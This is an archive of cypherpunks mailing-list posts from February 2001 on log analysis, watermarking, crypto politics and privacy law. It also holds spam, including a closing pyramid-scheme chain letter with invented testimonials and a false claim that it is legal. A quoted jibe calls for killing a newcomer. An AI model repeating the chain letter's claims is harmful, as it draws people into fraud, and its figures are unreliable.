Another theory is that Aimee actually thinks that all cypherpunks 
subscribers are pleasant, decent, and reasonable people who should be 
treated politely. I'm sure folks -- is Choate around? -- will disabuse her 
of this notion straightaway.

-Declan




From dubbaya13 at yahoo.com  Sun Feb 11 05:19:29 2001
From: dubbaya13 at yahoo.com (dubbayaK)
Date: Sun, 11 Feb 2001 05:19:29
Subject: Do You Need Cash Now????
Message-ID: <200102111219.f1BCJOq20287@ak47.algebra.com>




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From ericm at lne.com  Sun Feb 11 10:28:10 2001
From: ericm at lne.com (Eric Murray)
Date: Sun, 11 Feb 2001 10:28:10 -0800
Subject: Odd Addresses
In-Reply-To: <200102111756.MAA10145@smtp6.mindspring.com>; from jya@pipeline.com on Sun, Feb 11, 2001 at 12:44:40PM -0500
References: <200102111756.MAA10145@smtp6.mindspring.com>
Message-ID: <20010211102810.A21273@slack.lne.com>


On Sun, Feb 11, 2001 at 12:44:40PM -0500, John Young wrote:
> 
> We have from time to time phantom "accesses" from odd 
> addresses such as yesterday:
> 
>    http://161/1.035 

an http:whatever is probably from the Referrer line.  It's not
meaningful as a name of the machine that's accessing a page.
That would be a machine name or IP address.


Here's a line from an actual log file:
213-99-180-52.uc.nombres.ttd.es - - [11/Feb/2001:18:07:28 +0000] "GET / HTTP/1.1" 200 2146 "http://buscador.ya.com/scripts/busqueda?item=laura&cat=internet&offset=40&palabras=all" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"


The first field 213-99-180-52.uc.nombres.ttd.es
is the address of the machine that sent the request.

The first field in quotes, starting with GET, is the HTTP request that
213-99-180-52.uc.nombres.ttd.es sent.  The next two fields (200 2146)
is the code that the web server returned, and the size of the data returned.
The next part in quotes (http://buscador.ya.com....) is the Referrer field,
which is what 213-99-180-52.uc.nombres.ttd.es sent as the last site
that they'd visited, i.e. the one that linked to us.

There's nothing that says that the Referrer tag has to be correct, or even
present. (well, the HTTP spec probably says that it should be correct, but
there's no way to enforce that).

> These accesses and addresses do not show up in the log 
> files but are listed in summaries of accesses produced by 
> Analog on our dedicated server. When we run Analog of
> what should be the same log file on our machine the 
> addresses do not appear.

There's probably a bug in the copy of Analog that your ISP is using.
A look at the log file would tell.
Another cause could be someone sending ASCII control characters in
HTTP fields, which confuse Analog but which are translated into something
else when you retreive the log files.  

> The odd addresses change, none repeat, and
> do not appear every day.
> 
> Got any ideas what such entries indicate? Machine 
> camouflage, snoops by spooks, spoofs, debris,
> taunts?

Most likely software bugs.

-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From jya at pipeline.com  Sun Feb 11 09:44:40 2001
From: jya at pipeline.com (John Young)
Date: Sun, 11 Feb 2001 12:44:40 -0500
Subject: Odd Addresses
Message-ID: <200102111756.MAA10145@smtp6.mindspring.com>


We have from time to time phantom "accesses" from odd 
addresses such as yesterday:

   http://161/1.035 

These accesses and addresses do not show up in the log 
files but are listed in summaries of accesses produced by 
Analog on our dedicated server. When we run Analog of
what should be the same log file on our machine the 
addresses do not appear.

The odd addresses change, none repeat, and
do not appear every day.

Got any ideas what such entries indicate? Machine 
camouflage, snoops by spooks, spoofs, debris,
taunts?

We do see in the logfiles our ISP's regular checks of our 
machine for operability, showing log ins from 127.0.0.0, but 
the odd addresses not at all.





From adam at cypherspace.org  Sun Feb 11 09:07:17 2001
From: adam at cypherspace.org (Adam Back)
Date: Sun, 11 Feb 2001 13:07:17 -0400
Subject: watermarking sucks (Re: stego for the censored II)
In-Reply-To: <Pine.SOL.4.30.0102111710240.5629-100000@kruuna.Helsinki.FI>; from Sampo Syreeni on Sun, Feb 11, 2001 at 05:28:07PM +0200
References: <5.0.0.25.0.20010210100646.040a04c0@pop3.lvcm.com> <Pine.SOL.4.30.0102111710240.5629-100000@kruuna.Helsinki.FI>
Message-ID: <20010211130717.A69658@cypherpunks.ai>


I think a watermark is more likely to be keyed.  Without the key
it's a bit harder to be sure to remove the watermark without affecting
the quality of the image.  With the key you can tell which parts of
the message to remove. 

In addition watermarking has to mean a mark tied to the identity
of the downloader, otherwise a simple presentation serves to
demonstrate it is the same work.  Ideally the watermark should
include a signature by the downloader, otherwise the watermarker
can forge watermarks and frame random people for unauthorised
redistribution.  I'd guess most of them don't bother with obtaining
signatures from downloaders due to the sparse independent PKI
(there is limited point the watermarker acting as a CA in it's
own PKI, as it can forge certificates and identities in it's
own controlled CA).  Though not equitable the systems relying
on the watermarker not to cheat is probably not too much of a
problem from the point of view of the watermarker because 
courts will just decide in favor of the trustworthiness of the
media cartel when it is case of one persons word against the
cartel. 

Of course the whole concept of watermarking is broken at all
levels, copying can not be prevented as the content can typically
be reencoded and lose the watermark, quality is in heavy contention
with the ease with which the watermark can be removed.  Even 
if it is keyed.  And ultimately content can plausibly deniably
be stolen and all it takes is one copy.

Adam

On Sun, Feb 11, 2001 at 05:28:07PM +0200, Sampo Syreeni wrote:
> 
> On Sat, 10 Feb 2001, Steve Schear wrote:
> 
> >Not entirely true.  If watermarking become ubiquitous then their presence
> >is no longer suspicious.  If the marks contain encrypted content then
> >almost no one will know or care as they are passed and published and only
> >the intended recipients will receive the messages.
> 
> If stego is meant to be used between individuals, it's unlikely that a
> watermark would be present in the content naturally - after all, the marks
> are meant for CRM applications and individuals rarely take such good care
> of their private communications. And as for watermarks on commercial
> content, anyone caring about the presence of hidden communications can
> obtain a licence so that the watermarks can be completely detected. If the
> eavestropper is capable of full detection (not just statistical guesses),
> commercial watermarks fail to provide a meaningful hidden channel. (I.e.
> one would expect databases of valid marks to be available to an adversary
> of means.)
> 
> In fact, many of the meaningful adversaries can perform a removal attack on
> commercial watermarks, since the licences are available to corporations and
> governments and, in the absence of workable asymmetric watermarks,
> detection equals capability to remove. This means that one cannot
> necessarily even use an existing watermark to hide another carrying your
> message.
> 
> I think covert communication has very different needs from CRM. E.g.
> requiring non-detectability means that you have to model the channel
> statistics very closely, leading to a low bandwidth covert channel. CRM
> does not suffer from this, since a watermark only needs to be perceptually
> insignificant.
> 
> Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university
> 




From ericm at lne.com  Sun Feb 11 13:23:16 2001
From: ericm at lne.com (Eric Murray)
Date: Sun, 11 Feb 2001 13:23:16 -0800
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts, gentlemen?)
In-Reply-To: <5.0.2.1.0.20010210232213.02481090@mail.well.com>; from declan@well.com on Sun, Feb 11, 2001 at 12:35:57AM -0500
References: <20010210121624.B26143@cluebot.com> <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com> <5.0.2.1.0.20010210232213.02481090@mail.well.com>
Message-ID: <20010211132316.B21273@slack.lne.com>


On Sun, Feb 11, 2001 at 12:35:57AM -0500, Declan McCullagh wrote:
> 
> Well, that's about as nice an apology as I've ever seen on any list, let 
> alone cypherpunks. Aimee's initial message deserves a response. (BTW there 
> is a real Waco, Texas lawyer named Aimee Farr who is interested in these 
> issues, though naturally we can't be certain our correspondent is that person.)
> 
> She asks for our thoughts on this:
> http://www.sociology.org/content/vol002.001/ling.html

Any paper that seriously quotes the Rimm "study" and R.U. Siris is suspect.

[..]

> Since the paper is so flawed, I'm not sure it's worth discussing at length. 
> But, briefly, is crypto as threatening as witches were? Far from it. It -- 
> and its derivative technologies, such as anonymity -- seems to be perceived 
> more as a way to reclaim lost privacy rather than a new and unusual threat. 
> In that sense, it is a conservative technology. (This could change, and 
> certainly the intelligence community is hand-waving about terrorists again, 
> but I doubt it'll have much luck.)

OTOH, there certainly has been another attempt by government
to villify crypto users with the recent spate of articles on Osama
bin Oceania and other terrorists supposed use of crypto and stego.
The Red scare of the 50s was also to a large extent promoted and fanned
into flame by elements of the government.  While there isn't a "moral
boundary crisis" amongst the general public about crypto, there is an
attempt at "vilification" and "patterned labelling" of crypto users by
the government.  And many cypherpunks have predicted the government causing
events similar to "crystallization of the crisis through a dramatic act"
and "appropriation of the appropriate social apparatus and suppression
of critique" of crypto users by the government.
(However, few of those beleive that "and finally restoration of a normal
situation" would then occur.)

The paper doesn't mention the political aspects of either of its
examples (another of it's flaws).  If you can think of "mass hate"
as a politically-motivated inflaming of the masses fears, then
the steps that it describes are remarkably similar to the expected
political response to crypto-anarchy.


-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From aimee.farr at pobox.com  Sun Feb 11 11:37:59 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Sun, 11 Feb 2001 13:37:59 -0600
Subject: (RE: Crypto McCarthyism ...thoughts,   gentlemen?)
In-Reply-To: <a05010401b6abe1e14689@[207.111.241.145]>
Message-ID: <NEBBJHBKILFDJEFIABHPGECECCAA.aimee.farr@pobox.com>


> >>No human being speaks in such a stilted, phony way.

No. I am a woman of few talents, however, to my dismay, it seems this is one
of them. My comments were sincere. I am just sorry that my prose is
inadequate.

> On my planet, people talk to each other in a pleasant, decent, and
> reasonable way by actually _talking_ to them. That is, by listening,
> responding, making points, etc. In particular, when the arrive on new
> lists they spend a few days determining who is who and what is what.

Yes. However, I've been here a while. The dynamics of this community is
somewhat difficult to grasp, and I can only beg your understanding of the
same.

> They don't spew stilted jargon to lists which they are new to.

Yes. This was a grievous error. I am new, and obviously used inappropriate,
and possibly offensive jargon, in addition to my tasteless introduction.

> I still vote that we find our where it lives and kill it before
> it multiplies.

No. I can get myself "fixed," if necessary, so as to render any
killing-proposition moot. Alternatively, my whereabouts are a matter of
public record.

aimee.farr at pobox.com
Aimee E. Farr
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
254.751.0030 | 751.0963(fax)




















From aimee.farr at pobox.com  Sun Feb 11 11:38:09 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Sun, 11 Feb 2001 13:38:09 -0600
Subject: Crypto McCarthyism ...thoughts, gentlemen?
In-Reply-To: <a05010402b6abe47de35a@[207.111.241.145]>
Message-ID: <NEBBJHBKILFDJEFIABHPIECECCAA.aimee.farr@pobox.com>


The ALPHA Male said:


> "On the Internet, no one knows you're a bitch."

Yes. A profound statement, and one that I have no quarrel with.


> ...think our list is lacking in "participatory estrogen."

Yes. However, what it lacks in estrogen, it is making up for in
testosterone. In truth, my comment was directed toward any women lurking
about.


> But, then, you're probably the type to complain to about what you
> perceive as domination by whitemales.

No. Quite the opposite.


aimee.farr at pobox.com
Aimee E. Farr
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
254.751.0030 | 751.0963(fax)






From groovychick0011 at ukonline.co.uk  Sun Feb 11 06:00:28 2001
From: groovychick0011 at ukonline.co.uk (groovychick0011)
Date: Sun, 11 Feb 2001 14:00:28 -0000
Subject: hi
Message-ID: <000801c09432$fee574a0$371286d4@oemcomputer>

can you send me loads of free stuff
from Laura
groovychick0011 at ukonline.co.uk
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From tcmay at got.net  Sun Feb 11 15:43:53 2001
From: tcmay at got.net (Tim May)
Date: Sun, 11 Feb 2001 15:43:53 -0800
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts, 
 gentlemen?)
In-Reply-To: <NEBBJHBKILFDJEFIABHPMECHCCAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPMECHCCAA.aimee.farr@pobox.com>
Message-ID: <a05010404b6acd243c0d8@[207.111.241.145]>


At 5:00 PM -0600 2/11/01, Aimee Farr wrote:
>Declan said:
>
>>society has instead adopted and then accepted the Internet. It's difficult
>to be
>>  repulsed by something when you use it to share baby pictures with
>>  grandparents.
>
>Yes, and we are starting to regulate the hell out of it. Outside of a
>generic "Internet" sense....crypto is viewed as more threatening -- not
>simply a conduit, but a means. The next domestic terrorist kaboom! is going
>to have "bought to you by crypto" stenciled all over it by the US guvmint.
>Our demographics don't speak of technosophisticates.

Agreed. (I will not say "So? We've been saying this for years. See my 
"Four Horseman" point of 1992-3 or so.")

Those who want crypto outlawed have been trumpeting crypto uses by 
terrorists, pedophiles, money launderers, and other thought criminals 
for the past decade.  Nothing very new or interesting in the latest 
round, save that the New Team is now attempting to lay the groundwork 
for New Laws.

>...
>I agree, but you yourself stated that the average American isn't that
>concerned about privacy and won't purchase privacy enhancing technologies.
>(In a general privacy sense, I don't see a lot of "privacy reclamation." I
>do see a lot of notice provisions -- the functional equivalent of placing
>99% of Americans in a social-adhesion contract.) I don't think it's
>conservative. I think it is a new and unusual threat - to the majority of
>Americans.

Come on, Aimee, do some background reading. The "average American" 
is, and has long been, of two minds:

-- "what have you got to hide?"

and

-- "none of your damned business!"

Both views are present in most Americans. An observation I made here 
nearly a decade ago.

I welcome your participation here, provided you don't rant about the 
list being "estrogen-deficient," but, really, these basic points are 
well-trod ground.

>
>Of course, you have all watched this battle for many years, so you have a
>longevity of insight that I don't have. Probably just the same-ole-same-ole
>to you, while it seems more dramatic to me.

Ah, good to see you recognize the situation.

--Tim May

-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From aimee.farr at pobox.com  Sun Feb 11 15:00:16 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Sun, 11 Feb 2001 17:00:16 -0600
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,  gentlemen?)
In-Reply-To: <5.0.2.1.0.20010210232213.02481090@mail.well.com>
Message-ID: <NEBBJHBKILFDJEFIABHPMECHCCAA.aimee.farr@pobox.com>


Declan said:

>society has instead adopted and then accepted the Internet. It's difficult
to be
> repulsed by something when you use it to share baby pictures with
> grandparents.

Yes, and we are starting to regulate the hell out of it. Outside of a
generic "Internet" sense....crypto is viewed as more threatening -- not
simply a conduit, but a means. The next domestic terrorist kaboom! is going
to have "bought to you by crypto" stenciled all over it by the US guvmint.
Our demographics don't speak of technosophisticates.

It --
> and its derivative technologies, such as anonymity -- seems to be
> perceived
> more as a way to reclaim lost privacy rather than a new and
> unusual threat.
> In that sense, it is a conservative technology.

I agree, but you yourself stated that the average American isn't that
concerned about privacy and won't purchase privacy enhancing technologies.
(In a general privacy sense, I don't see a lot of "privacy reclamation." I
do see a lot of notice provisions -- the functional equivalent of placing
99% of Americans in a social-adhesion contract.) I don't think it's
conservative. I think it is a new and unusual threat - to the majority of
Americans.

(This could change, and
> certainly the intelligence community is hand-waving about
> terrorists again,

And the entertainment industry, a power-export, is right behind them.
Already we have an attempt to make crime-by-crypto cause for enhanced
punishment. Also, the guvmint is puppeting economic espionage/national
security in terms of crypto-enabled pirating. Add in the
terrorist-porn-crypto triangle... Smells like stigmatization to me.

Of course, you have all watched this battle for many years, so you have a
longevity of insight that I don't have. Probably just the same-ole-same-ole
to you, while it seems more dramatic to me.

-aimee.farr at pobox.com




From decoy at iki.fi  Sun Feb 11 07:28:07 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Sun, 11 Feb 2001 17:28:07 +0200 (EET)
Subject: stego for the censored II
In-Reply-To: <5.0.0.25.0.20010210100646.040a04c0@pop3.lvcm.com>
Message-ID: <Pine.SOL.4.30.0102111710240.5629-100000@kruuna.Helsinki.FI>


On Sat, 10 Feb 2001, Steve Schear wrote:

>Not entirely true.  If watermarking become ubiquitous then their presence
>is no longer suspicious.  If the marks contain encrypted content then
>almost no one will know or care as they are passed and published and only
>the intended recipients will receive the messages.

If stego is meant to be used between individuals, it's unlikely that a
watermark would be present in the content naturally - after all, the marks
are meant for CRM applications and individuals rarely take such good care
of their private communications. And as for watermarks on commercial
content, anyone caring about the presence of hidden communications can
obtain a licence so that the watermarks can be completely detected. If the
eavestropper is capable of full detection (not just statistical guesses),
commercial watermarks fail to provide a meaningful hidden channel. (I.e.
one would expect databases of valid marks to be available to an adversary
of means.)

In fact, many of the meaningful adversaries can perform a removal attack on
commercial watermarks, since the licences are available to corporations and
governments and, in the absence of workable asymmetric watermarks,
detection equals capability to remove. This means that one cannot
necessarily even use an existing watermark to hide another carrying your
message.

I think covert communication has very different needs from CRM. E.g.
requiring non-detectability means that you have to model the channel
statistics very closely, leading to a low bandwidth covert channel. CRM
does not suffer from this, since a watermark only needs to be perceptually
insignificant.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From shop_promo at GGAR.hotmail.com  Sun Feb 11 17:35:08 2001
From: shop_promo at GGAR.hotmail.com (shop_promo at GGAR.hotmail.com)
Date: Sun, 11 Feb 2001 17:35:08 -0800 (PST)
Subject: Great Opportunity! for cypherpunks -OIPE
Message-ID: <200102120135.RAA16433@cyberpass.net>


I have a GREAT opportunity that I would like
to share with you!!

Imagine an opportunity that will actually HELP you promote any business, 
while EARNING YOU REAL CASH!!!  
 
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http://www.geocities.com/keynetus/





From alan at clueserver.org  Sun Feb 11 18:48:47 2001
From: alan at clueserver.org (Alan Olsen)
Date: Sun, 11 Feb 2001 18:48:47 -0800 (PST)
Subject: Slashdot | Michigan May Outlaw Anonymity Online
In-Reply-To: <3A874B3D.6FE1257C@ssz.com>
Message-ID: <Pine.LNX.4.10.10102111843310.23650-100000@clueserver.org>


On Sun, 11 Feb 2001, Jim Choate wrote:

> http://slashdot.org/yro/01/02/11/1829225.shtml

There are times when I wish I had enough money to hire the lawyers it
would take to initiate a false advertising suit against the United States
for billing itself as a "Free country". 

For a country that bills itself as a champion of Freedom and Liberty(tm)
throughout the world, they sure seem to enact alot of laws treating
freedom as something that should be stamped out wherever it is found.

Kind of like Government laws on privacy.  Privacy from everyone but the
Government.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From aimee.farr at pobox.com  Sun Feb 11 17:26:06 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Sun, 11 Feb 2001 19:26:06 -0600
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts, gentlemen?)
In-Reply-To: <NEBBJHBKILFDJEFIABHPOECKCCAA.aimee.farr@pobox.com>
Message-ID: <NEBBJHBKILFDJEFIABHPAECMCCAA.aimee.farr@pobox.com>



> Eric Murray said:
>
> > OTOH, there certainly has been another attempt by government
> > to villify crypto users with the recent spate of articles on Osama
> > bin Oceania and other terrorists supposed use of crypto and stego.
> > The Red scare of the 50s was also to a large extent promoted and fanned
> > into flame by elements of the government.  While there isn't a "moral
> > boundary crisis" amongst the general public about crypto, there is an
> > attempt at "vilification" and "patterned labelling" of crypto users by
> > the government.  And many cypherpunks have predicted the
> > government causing
> > events similar to "crystallization of the crisis through a dramatic act"
> > and "appropriation of the appropriate social apparatus and suppression
> > of critique" of crypto users by the government.
> > (However, few of those believe that "and finally restoration of a normal
> > situation" would then occur.)
>
> I appreciate the small confirmation that I am not living on
> another planet, Mr. Murray.
>
> > The paper doesn't mention the political aspects of either of its
> > examples (another of it's flaws).  If you can think of "mass hate"
> > as a politically-motivated inflaming of the masses fears, then
> > the steps that it describes are remarkably similar to the expected
> > political response to crypto-anarchy.
>
> So far, they haven't had much to hang their hat on, at least no
> specific instance that has become a public focal-point.
> Informational anarchy and small-time monkeywrenching does
> certainly seem to be mainstreaming, but "terrorist tool" is a
> high-caliber metaphor, especially if used in conjunction with a
> domestic act of terrorism. Oh, blah, I'm sure I'm not adding to
> the intellectual group capital...I'll follow Prof. May's advice
> and sift the archives.
>
> mailto:aimee.farr at pobox.com
> Aimee E. Farr
> Law Office Of Aimee E. Farr
> 5400 Bosque, Suite 675
> Waco, Texas 76710-4418
> ph: 254.751.0030 | fx: 751.0963
>
>
>
>




From ravage at ssz.com  Sun Feb 11 18:32:29 2001
From: ravage at ssz.com (Jim Choate)
Date: Sun, 11 Feb 2001 20:32:29 -0600
Subject: Slashdot | Michigan May Outlaw Anonymity Online
Message-ID: <3A874B3D.6FE1257C@ssz.com>


http://slashdot.org/yro/01/02/11/1829225.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Sun Feb 11 19:07:10 2001
From: ravage at ssz.com (Jim Choate)
Date: Sun, 11 Feb 2001 21:07:10 -0600
Subject: ScienceDaily Magazine -- A Crack In The Theory Of Everything? Physicists Announce Possible Violation Of Standard Model Of Particle Physics
Message-ID: <3A87535E.FA5B4D63@ssz.com>


http://www.sciencedaily.com/releases/2001/02/010209070059.htm
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From adam at cypherspace.org  Sun Feb 11 20:57:42 2001
From: adam at cypherspace.org (Adam Back)
Date: Sun, 11 Feb 2001 23:57:42 -0500
Subject: privacy regulations suck also (Re: Formal apology)
Message-ID: <200102120457.XAA01027@modemcable005.191-202-24.mtl.mc.videotron.ca>



Aimee wrote:
> I agree, but you yourself stated that the average American isn't
> that concerned about privacy and won't purchase privacy enhancing
> technologies.  (In a general privacy sense, I don't see a lot of
> "privacy reclamation." I do see a lot of notice provisions -- the
> functional equivalent of placing 99% of Americans in a
> social-adhesion contract.) I don't think it's conservative. I think
> it is a new and unusual threat - to the majority of Americans.

I've been thinking about the current trend in privacy regulations
also.  I came to the same conclusion.  My bank sent me a shiny new
leaflet explaining their privacy position.  It wasn't even an
especially desirable or equitable position, but they presumably felt
the new regulations obliged them to write it.  I'm thinking: "so how
do the laws that caused this leaflet to be written help my privacy?"

These laws are almost exclusively about *handling* of data, rather
than questioning the fact that the data is collected in the first
place.  (Well there is a principle that they should have a reason for
collecting it, and/or that they get consent, but they do have some
reason to have pretty much all the data they collect by their
standards.)

So here's the problem: these laws will if anything make it less
visible what information companies and governments have on you because
they will restrict uses.  How the data is handled and used isn't the
problem, the problem is that the information is collected, and
available to law enforcement, national intelligence and your average
dick (private detective).

Privacy to me means being able to keep my affairs private from
governments if I choose.  The UK princple allowing you to use any name
you want (so long as it is not for committing fraud or a crime) is
agood one.  (I'm hoping that using an alias does not affect the legal
systems evaluation of the severity of the crime -- and that there are
no "use of an alias in the commission of a crime" types things in
effect though I don't know the details).

So with this definition of privacy, the actual problem is the
existance of a whole raft of laws outlawing privacy.  New laws
governing use are window dressing.  I don't even care about the use
typically, junk mail is easy to throw away.  Think about for example
anti-money laundering laws vs the desire for financial privacy in a
free society.  The requirement to show and present government issued
ID for all sorts of things in society and so on.

So the solution appears to be technological countermeasures, and
repealing laws.  Neither of which appear even remotely likely within
the political system.  The political system has a systemic desire to
create more laws.  Every new law introduces more problems.  The people
writing the laws don't know the technology, they are control freaks,
and pander to media and take bribes and broker favors with special
interest groups.  So at this point I firmly believe in "write code not
laws", and think that "cypherpunks write code" is important. 

btw. The main reason I have not indulged overly in political
discussions for some time is that I resolved to not even spend the
time to read or keep up to date overly with government and legal
system intrusions into privacy.  The historical predictor that
whatever they are doing it's bad for privacy and the balance of power
is sufficient information for code writing.  Reading the crap is just
frustrating.  Time better spent writing code.

So the question of what code to write is the consuming question these
days.

> Oh, blah, I'm sure I'm not adding to the intellectual group capital

Actually you're pretty far above average first post in
insightfullness.  Welcome to cypherpunks.

(btw "Mr" etc is more formal than normal here, and you never know if
it's correct half the time -- I've come across at least two people who
I had presumed the wrong sex for.  Nyms, handles email aliases -- just
refer to people by whatever they refer to themselves by.  Some don't
even give a handle.)

Adam

Personal opinions of course.




From petro at bounty.org  Mon Feb 12 01:41:38 2001
From: petro at bounty.org (petro)
Date: Mon, 12 Feb 2001 01:41:38 -0800
Subject: Crypto McCarthyism ...thoughts, gentlemen?
In-Reply-To: <a05010402b6abe47de35a@[207.111.241.145]>
References: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>
 <a05010402b6abe47de35a@[207.111.241.145]>
Message-ID: <p0432040fb6ad60316157@[10.1.1.42]>


>At 12:40 PM -0600 2/9/01, Aimee Farr wrote:
>>Gentlemen[*]:
>>
>>[*]appearances suggest an absence of participatory estrogen in here.
>
>Females are free to join this list. Some have joined in the past.
>
>"On the Internet, no one knows you're a bitch."

	 No, on the internet *EVERYONE'S* a bitch.

-- 
A quote from Petro's Archives:
**********************************************
"As someone who has worked both in private industry and in academia,
whenever I hear about academics wanting to teach ethics to people in
business, I want to puke."--Thomas Sowell.




From hseaver at arrowhead.lib.mn.us  Mon Feb 12 06:40:22 2001
From: hseaver at arrowhead.lib.mn.us (Harmon Seaver)
Date: Mon, 12 Feb 2001 08:40:22 -0600
Subject: Reiserfs and Crypto
Message-ID: <3A87F5D6.5BE39FD9@harmon.arrowhead.lib.mn.us>


    Anybody know of any work being done with reiserfs and cypto. The
pluggable modules aspect of reiserfs seems made to order for it. Has
anybody tried running cfs or tcfs on top of reiserfs? That woouldn't be
as cool but ...




From ezBiz at drsend.com  Mon Feb 12 08:57:34 2001
From: ezBiz at drsend.com (ezBiz at drsend.com)
Date: Mon, 12 Feb 2001 08:57:34
Subject: Your Treasure Chest has ARRIVED!
Message-ID: <200102121400.GAA20463@cyberpass.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
the news lately. Due to the popularity of this letter
on the Internet, a national weekly news program 
recently devoted an entire show to the investigation 
of this program described below, to see if it really 
can make people money. The show also investigated
whether or not the program was legal. 

Their findings proved once and for all that there 
are ''absolutely NO Laws prohibiting the participation 
in the program and if people can follow the simple 
instructions, they are bound to make some mega
bucks with only $25 out of pocket cost''. 
DUE TO THE RECENT INCREASE OF POPULARITY
& RESPECT THIS PROGRAM HAS ATTAINED, IT 
IS CURRENTLY WORKING BETTER THAN EVER. 

This is what one had to say: '' Thanks to this profitable
opportunity. I was approached many times before but 
each time I passed on it. I am so glad I finally joined
just to see what one could expect in return for the
minimal effort and money required. To my astonishment
, I received total $ 610,470.00 in 21 weeks, with 
money still coming in''. 
Pam Hedland, Fort Lee, New Jersey. 

============================================= 
Here is another testimonial: ''' this program has been
around for a long time but I never believed in it. But 
one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions
and walaa ..... 3 weeks later the money started to come
in. First month I only made $240.00 but the next 2 months
after that I made a total of $290,000.00. So far, in the
past 8 months by re-entering the program, I have made 
over $710,000.00 and I am playing it again. The key
to successin this program is to follow the simple steps
and NOT change anything.'' More testimonials later
but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
months easily and comfortably, please read the following...
THEN READ IT AGAIN and AGAIN !!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
YOUR FINANCIAL DREAMS WILL COME TRUE, 
GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
YOUR E-MAIL ADDRESS to the person whose name 
appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
of the 5 reports. You will need all 5 reports so that
you can save them on your computer and resell them.
YOUR TOTAL COST $5 X 5=$25.00. 

Within a few days you will receive, vie e-mail, each of
the 5 reports from these 5 different individuals. Save
them on your computer so they will be accessible for
you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep
it on your desk in case something happen to your computer. 

IMPORTANT - DO NOT alter the names of the people
who are listed \ next to each report, or their sequence 
on the list, in any way other than what is instructed
below in step '' 1 through 6 '' or you will loose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if you
change it. Remember,this method has been tested,
and if you alter, it will NOTwork !!! People have tried
to put their friends/relatives names on all five thinking
they could get all the money.But it does not work this
way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change
anything other than what is instructed. Because if you
do, it will not work for you. 
Remember, honesty reaps the reward!!! 

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune. 

2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 

3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 

4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 

5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
MAKE ANY OTHER CHANGES. 

Save this on a disk as well just in case if you loose 
any data. To assist you with marketing your business on
the internet, the 5 reports you purchase will provide you
with invaluable marketing information which includes
how to send bulk e-mails legally, where to find thousands
of free classified ads and much more. There are 2 
Primary methods to get this venture going: 

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

It's say that you decide to start small, just to see how it 
